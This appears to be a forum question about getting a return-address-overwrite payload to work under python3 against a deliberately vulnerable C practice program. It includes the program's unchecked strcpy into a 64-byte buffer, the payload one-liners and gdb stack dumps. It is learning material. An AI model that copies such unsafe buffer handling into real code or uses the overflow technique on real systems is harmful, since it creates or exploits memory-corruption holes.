I'm trying to exploit a simple buffer overflow with gdb and peda, I just want to rewrite the return address with the address of a function of the program. I can easily do it with python2 but it seems to be impossible with python3, the return address is not rewritten with a correct address.
According to the research that I have already done, the encoding is the cause of this problem because python2 is using ascii and python3 is using utf-8. I found some stuff on this website which didn't help me :/
Here is the code of the vulnerable app:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <string.h> void checkPassword(); void goodPassword(); int main(int argc, char **argv) { printf("Debut du programme...\n"); if (argc < 2) { printf("Necessite un argument\n"); return 0; } printf("Appel de la fonction checkPassword\n"); checkPassword(argv[1]); printf("Fin du programme\n"); } void checkPassword(const char *arg) { char password[64]; strcpy(password, arg); if (strcmp(password, "fromage") == 0) { goodPassword(); } else { printf("Mauvais mot de passe\n"); } } void goodPassword() // This is the function I want to run, address : 0x565562b2 { printf("Mot de passe correcte!\n"); }
Here is the exploit I use in python2
starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')
Here is the exploit I use in python3 and the stack atfer the strcpy:
starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ') gdb-peda$ x/24xw $esp 0xffffcc40: 0xffffcc50 0xffffcfa6 0xf7e2bca9 0x56556261 0xffffcc50: 0x41412762 0x41414141 0x41414141 0x41414141 0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcc90: 0x41414141 0x41414141 0x41414141 0x785c4141
I expect this output:
gdb-peda$ x/24xw $esp 0xffffcc50: 0xffffcc60 0xffffcfac 0xf7e2bca9 0x56556261 0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcc90: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffcca0: 0x41414141 0x41414141 0x41414141 0x565562b2
which works fine and run the goodPassword function. Thanks for help